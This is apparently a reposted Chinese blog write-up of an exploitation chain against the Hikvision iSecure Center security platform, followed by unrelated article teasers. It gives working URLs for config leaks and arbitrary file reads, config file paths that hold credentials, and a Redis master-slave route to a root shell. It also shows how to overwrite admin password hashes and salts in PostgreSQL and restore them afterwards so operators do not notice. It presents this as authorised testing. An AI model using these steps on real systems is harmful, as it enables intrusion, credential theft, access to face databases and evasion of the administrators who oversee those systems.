Hikvision综合安防管理平台isecure center文件读取深度利用

news2025/2/23 23:12:34

前言

远离一线很久了,很难有实战的机会。碰到Hikvision的漏洞,市面上的很多文章又很模糊,自己摸全点做个详细记录。
参考文章,向佬学习。本次测试为内部授权测试,已脱敏
https://mp.weixin.qq.com/s/zvo195UQvWwTppmCsnW9FA
https://seveo.cn/archives/8

一、工具汇总(均为官网,其他工具请自行下载)

指纹识别工具:
observer_ward

hikvision专项扫描工具:
Hikvision-

redis客户端连接工具:
redis-cli

密码解密工具:(后续密码均用这个解密)
DecryptTools

ldap连接工具:
LdapAdminTool

补充:前台界面长这样。应该还有其他版本,主要看指纹识别吧。

二、敏感信息泄露+文件读取

shell类型漏洞略过(这类应该蛮多的,还没遇到过),这里主要介绍敏感信息泄露+文件读取组合利用。很多文章都是展示一下漏洞,并未进行深入利用。这里我尽量全的拓展漏洞成果,缺失的地方欢迎补充。

Hikvision综合安防管理平台config信息泄露漏洞
https://xxx/portal/conf/config.properties

存在Hikvision综合安防管理平台env信息泄露漏洞
https://xxx/artemis-portal/artemis/env

Hikvision综合安防管理平台orgManage任意文件读取漏洞
https://xxx/center/api/task/..;/orgManage/v1/orgs/download?fileName=../../../../../../../etc/passwd

Hikvision综合安防管理平台files任意文件读取漏洞
https://xxx/lm/api/files;.css?link=/etc/passwd

每种类型均有两个漏洞入口,信息泄露主要利用/portal/conf/config.properties,文件读取随意,我用/lm/api/files;.css?link=/etc/passwd,问就是路径短。

三、敏感信息利用

https://xxx/portal/conf/config.properties

1_a、文件内容解析

http://ip:8001
看到http标识,这是个web。8001是运行管理中心后台。有的文章写8080端口,其实都一样,主要看配置文件怎么写。

后台界面

IP:7002
据说是activeMQ的消息交互端口,但是没找到相关连接工具
文章来源:http://www.cmd8.com/post/493.html

ip:7019
这是个redis数据库配置,一开始琢磨了半天,怎么用户名是空的。

ip:7092
这是核心postgresql数据库,密码不在这,后续再说

1_b、利用
目前已有信息,只能链接redis

或者直接主从复制拿root shell(推荐工具:redis-rogue-getshell)
有乱码,简单改了下代码,无法解码不退出。这里未做站库分离,理论上可写个shell去web界面连马子,方便找文件。由于是业务服务器,我就尽量少的变动服务器内容了,点到为止。

2、登录前台

海康威视综合安防平台(iSecure) 运行管理中心前台登录数据库配置文件路径:
windows路径:D:/hikvision/web/components/postgresql96win64.1/conf/config.properties
Linux路径:/opt/hikvision/web/components/postgresql11linux64.1/conf/config.properties

运行管理中心前台登陆用户: 数据库:irds_irdsdb 用户表:tb_user
前台地址:https://xx:443

对user_pwd和salt替换,用以重置admin的密码为hik123456
user_pwd:1909408d3304f41421caae1fd5df984f21d70b516a315d375f94f87861eedc92
Salt:938f7ad2436f3084a19dee5dc2e7a513892b696a8069a2f886ada7562226b1cc

利用文件读取漏洞读取前台配置文件

https://ip/lm/api/files;.css?link=/opt/hikvision/web/opsMgrCenter/conf/config.properties
postgresql密码在这
ip:7092 postgres/xxx

直连数据库,找到上述的center_user表

记录原始的pwd和salt值,然后替换登录前台(厚码)
注:登录后可立刻修改回去,页面不会掉,避免被运维人员发现。大量人脸库数据,hvv的话数据分应该拿满了。

3、登录后台

海康威视综合安防平台(iSecure) 运行管理中心后台登录数据库配置文件路径:
windows路径:D:/hikvision/web/opsMgrCenter/conf/config.properties
Linux路径:/opt/hikvision/web/opsMgrCenter/conf/config.properties

运行管理中心后台登陆用户: 数据库:opsmgr_db 用户表:center_user
后台地址:http://ip:8001

对c_password和c_salt替换,用以重置admin的密码为hik123456
c_password:1909408d3304f41421caae1fd5df984f21d70b516a315d375f94f87861eedc92
c_salt:938f7ad2436f3084a19dee5dc2e7a513892b696a8069a2f886ada7562226b1cc

利用文件读取漏洞读取后台配置文件

/opt/hikvision/web/opsMgrCenter/conf/config.properties
这是另一个数据库,也是postgresql数据库,直接连接,后续修改的字段在这个库里
ip:7001

连接数据库替换密码,登录后台

注意用户名为sysadmin,好像是个集群管理后台,hikvision的设备应该都在这管理。东西蛮多,没细翻,好像还有摄像头?这里的分应该也不少。

至此,服务器和核心后台均已拿下。postgresql我没提权,有胆大的可以自己试试。(redis已经拿了服务器root了,就没必要了)。这里多说一句:提权有风险!宕机泪两行

四、其他数据库及web后台

放个佬的汇总文件,有兴趣的自己慢慢找

1. /opt/hikvision/web/components/ntp.1/conf/config.properties
NTP 服务:网络时间协议 (NTP) 的配置文件,用于时间同步。可能包含 NTP 服务器的认证信息。
2. /opt/hikvision/web/components/activemq514linux64.1/conf/config.properties
ActiveMQ:消息队列服务的配置文件。可能包含用于连接 ActiveMQ 服务的用户名和密码。
3. /opt/hikvision/web/components/cluster.1/conf/config.properties
Cluster:集群配置文件,用于管理多台服务器的集群。可能包含集群管理的认证信息。
4. /opt/hikvision/web/components/lm.1/conf/config.properties
License Manager:许可证管理服务的配置文件。可能包含用于连接许可证服务器的用户名和密码。
5. /opt/hikvision/web/components/ls.1/conf/config.properties
Logging Service:日志服务的配置文件。可能包含用于连接日志服务器的认证信息。
6. /opt/hikvision/web/components/lsm.1/conf/config.properties
License Server Manager:许可证服务器管理服务的配置文件。可能包含用于连接许可证服务器的用户名和密码。
7. /opt/hikvision/web/components/mps.1/conf/config.properties
Media Processing Service:媒体处理服务的配置文件。可能包含用于连接媒体处理服务的用户名和密码。
8. /opt/hikvision/web/components/nodejslinux64.1/conf/config.properties
Node.js:Node.js 环境的配置文件。可能包含 Node.js 应用的配置和认证信息。
9. /opt/hikvision/web/components/openjdk11linux64.1/conf/config.properties
OpenJDK:Java 环境的配置文件。可能包含 Java 应用的配置和认证信息。
10. /opt/hikvision/web/components/postgresql11linux64.1/conf/config.properties
PostgreSQL:PostgreSQL 数据库的配置文件。通常包含数据库的连接信息,包括用户名和密码。
11. /opt/hikvision/web/components/redislinux64.1/conf/config.properties
Redis:Redis 数据库的配置文件。通常包含 Redis 的连接信息,包括认证密码。
12. /opt/hikvision/web/components/reportservice.1/conf/config.properties
Report Service:报表服务的配置文件。可能包含用于连接报表服务的认证信息。
13. /opt/hikvision/web/components/svm.1/conf/config.properties
Service Virtual Machine:服务虚拟机的配置文件。可能包含虚拟机服务的配置和认证信息。
14. /opt/hikvision/web/components/tomcat85linux64.1/conf/config.properties
Tomcat:Tomcat Web 服务器的配置文件。通常包含用于管理 Tomcat 服务器的用户名和密码。

1、补充下上面没利用完的

/opt/hikvision/web/opsMgrCenter/conf/config.properties
在上面这个链接最下面,还有一个ldap的账密,也可连接。这个ldap其实是核心数据库(ip:7092)的部分数据,用来读;postgresql用来写。从数据分上来说,估计是重复的。
补充:LDAP,轻量级目录访问协议。优点是读取速度快,是流行的统一身份认证解决方案。


注意填写的方式,填写=号后的完整信息。

注:多个连接方式,这里不放图了,码不住

BaseDN: dc=platform,dc=hikvision,dc=com (可不填)
UserDN: cn=Manager,dc=hikvision,dc=com
Password: pass

2、其他配置利用

/opt/hikvision/web/components/activemq514linux64.1/conf/config.properties
ActiveMQ web及账密,我这里无法访问登录界面
http://ip:8028 admin/pass
/opt/hikvision/web/components/lm.1/conf/config.properties
7092那个postgresql的子账号,数据库也是从属关系,而且权限没7092那个高,没啥用。凑分
/opt/hikvision/web/components/mps.1/conf/config.properties
不知道啥,我这个环境没开
http://ip:8030 admin/pass

做到一半403了...算了,自己挨个找吧。还有个Minio、未授权web没来得及截图。其他的看环境了,开了就是分。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2145675.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

WPF 的TreeView的TreeViewItem下动态生成TreeViewItem

树形结构仅部分需要动态生成TreeViewItem的可以参考本文。 xaml页面 <TreeView MinWidth"220" ><TreeViewItem Header"功能列表" ItemsSource"{Binding Functions}"><TreeViewItem.ItemTemplate><HierarchicalDataTempla…

TikTok直播专线服务商推荐

在追求TikTok直播的极致体验时&#xff0c;搭建稳定高效的专线网络无疑是最重要的第一步。国内市场涌现出众多TikTok直播专线服务商&#xff0c;面对如此多的选择&#xff0c;用户究竟该如何权衡利弊&#xff0c;作出明智的决策呢&#xff1f;以下是一些关键因素和TIKTOK直播专…

基于 K8S kubernetes 的常见日志收集方案

目录 1、日志对我们来说到底重不重要&#xff1f; 2、常见的日志收集方案 2.1 EFK 2.2 ELK Stack 2.3 ELKfilebeat 2.4 其他方案 2、elasticsearch组件介绍 3、filebeat组件介绍 3.1 filebeat和beat关系 3.2 filebeat是什么&#xff1f; 3.3 Filebeat工作原理 3.4 …

FEAD:fNIRS-EEG情感数据库(视频刺激)

摘要 本文提出了一种可用于训练情绪识别模型的fNIRS-EEG情感数据库——FEAD。研究共记录了37名被试的脑电活动和脑血流动力学反应&#xff0c;以及被试对24种情绪视听刺激的分类和维度评分。探讨了神经生理信号与主观评分之间的关系&#xff0c;并在前额叶皮层区域发现了显著的…

56.【C语言】字符函数和字符串函数(strtok函数)(未完)

目录 12.strtok函数(较复杂) *简单使用 总结: *优化 12.strtok函数(较复杂) *简单使用 strtok:string into tokens cplusplus的介绍 点我跳转 翻译: 函数 strtok char * strtok ( char * str, const char * delimiters ); 总结: delimiters参数指向一个字符串&#xff0…

RK3568平台(基础篇)示波器的使用

一.示波器面板介绍 示波器的横轴表示的是时间,在横轴上有10个小格,每个小格的时间是200us。 示波器的纵轴表示的是电压,在纵轴上有8个小格,每个小格的电压表示1V。 以上是个方波,方波在纵轴上占5个小格,每个小格的电压是500mv,所以这个方波的电压为2500mv。 方波在横…

每日OJ题_牛客_dd爱框框(滑动窗口)

目录 dd爱框框&#xff08;滑动窗口&#xff09; 解析代码 dd爱框框&#xff08;滑动窗口&#xff09; dd爱框框_牛客题霸_牛客网 解析代码 基础同向双指针算法。关于滑动窗口的介绍可看这篇&#xff1a;Offer必备算法02_滑动窗口_八道力扣OJ题详解&#xff08;由易到难&am…

【我的 PWN 学习手札】Largebin Attack(<= glibc-2.38可利用)

目录 前言 一、Largebin Attack的通用利用方法 二、再次 Largebin Attack 三、测试与模板 前言 早期的 Largebin Attack&#xff0c;通过修改 largebin 中 free chunk 的 bk 和 bk_nextsize 指针域&#xff0c;能够实现任意地址写堆地址。然而在 glibc > version2.30 后…

Mycat搭建读写分离

启动Mycat 进入 /mycat/conf/datasources目录下&#xff0c;修改prototypeDs.datasource.json文件 去mycat/bin目录用启动mycat ./mycat start (关闭mycat ./mycat stop)连接mycat 默认端口8066 用户名root 密码123456 注意&#xff1a;这里ip设为null表示任何ip都可以访问…

【学习笔记】SSL/TLS安全机制之CAA

1、概念界定 CAA全称Certificate Authority Authorization&#xff0c;即证书颁发机构授权&#xff0c;每个CA都能给任何网站签发证书。 2、CAA要解决的问题 例如&#xff0c;蓝色网站有一张橙色CA颁发的证书&#xff0c;我们也知道还有许多其他的CA&#xff1b;中间人可以说服…

JACM23 - A New Algorithm for Euclidean Shortest Paths in the Plane

前言 如果你对这篇文章感兴趣&#xff0c;可以点击「【访客必读 - 指引页】一文囊括主页内所有高质量博客」&#xff0c;查看完整博客分类与对应链接。 本文关注的问题为计算几何学中的经典问题&#xff0c;即「在平面上给定一组两两不相交的多边形障碍物&#xff0c;寻找两点…

Redis(redis基础,SpringCache,SpringDataRedis)

文章目录 前言一、Redis基础1. Redis简介2. Redis下载与安装3. Redis服务启动与停止3 Redis数据类型4. Redis常用命令5. 扩展数据类型 二、在Java中操作Redis1. Spring Data Redis的使用1.1. 介绍1.2. 环境搭建1.3. 编写配置类&#xff0c;创建RedisTemplate对象1.4. 通过Redis…

助力数字农林业发展服务香榧智慧种植,基于嵌入式端超轻量级模型LeYOLO全系列【n/s/m/l】参数模型开发构建香榧种植场景下香榧果实检测识别系统

作为一个生在北方但在南方居住多年的人&#xff0c;居然头一次听过香榧&#xff08;fei&#xff09;这种作物&#xff0c;而且这个字还不会念&#xff0c;查了以后才知道读音&#xff08;fei&#xff09;&#xff0c;三声&#xff0c;这着实引起了我的好奇心&#xff0c;我相信…

C++入门基础知识75(高级)——【关于C++ Web 编程】

成长路上不孤单&#x1f60a;&#x1f60a;&#x1f60a;&#x1f60a;&#x1f60a;&#x1f60a; 【14后&#x1f60a;///C爱好者&#x1f60a;///持续分享所学&#x1f60a;///如有需要欢迎收藏转发///&#x1f60a;】 今日分享关于C Web 编程的相关内容&#xff01; 关于…

HomeAssistant显示节假日

先看效果 步骤&#xff1a; 新建卡片时选择“Markdown 卡片”代码在文章最下方&#xff0c;当然你也可以自己修改 点击保存/完成 ### {% if now().hour > 6 and now().hour < 9 -%} 早上好&#xff0c; {%- elif now().hour > 9 and now().hour < 12 -%} 上午好…

【SSM-Day2】第一个SpringBoot项目

运行本篇中的代码&#xff1a;idea专业版或者idea社区版本&#xff08;2021.1~2022.1.4&#xff09;->这个版本主要是匹配插件spring boot Helper的免费版(衰) 【SSM-Day2】第一个SpringBoot项目 框架->Spring家族框架快速上手Spring BootSpring Boot的作用通过idea创建S…

【iOS】引用计数

引用计数 自动引用计数引用计数内存管理的思考方式自己生成的对象&#xff0c;自己所持有非自己生成的对象&#xff0c;自己也能持有不再需要自己持有的对象时释放无法释放非自己持有的对象 自动引用计数 自动引用计数(ARC,Automatic Reference Counting)是指内存管理中对引用…

最新多模板测算系统源码 测算系统海外多语言版

最新多模板测算系统源码 测算系统海外多语言版 源码下载&#xff1a;https://download.csdn.net/download/m0_66047725/89763600 更多资源下载&#xff1a;关注我。

10年408考研真题-数据结构

23.[2010统考真题]若元素 a,b,c,d,e,f 依次进栈&#xff0c;允许进栈、退栈操作交替进行&#xff0c;但不允许连续3次进行退栈操作&#xff0c;不可能得到的出栈序列是(D)。 A.dcebfa B.cbdaef C.bcaefd D.afedcb 解析&#xff1a;直接看D选项&#xff0c…

基于WOA-SVM的乳腺癌数据分类识别算法matlab仿真,对比BP神经网络和SVM

目录 1.算法运行效果图预览 2.算法运行软件版本 3.部分核心程序 4.算法理论概述 4.1 支持向量机&#xff08;SVM&#xff09; 4.2 WOA 4.3 WOA优化SVM参数 5.算法完整程序工程 1.算法运行效果图预览 (完整程序运行后无水印) 2.算法运行软件版本 matlab2022a 3.部分核…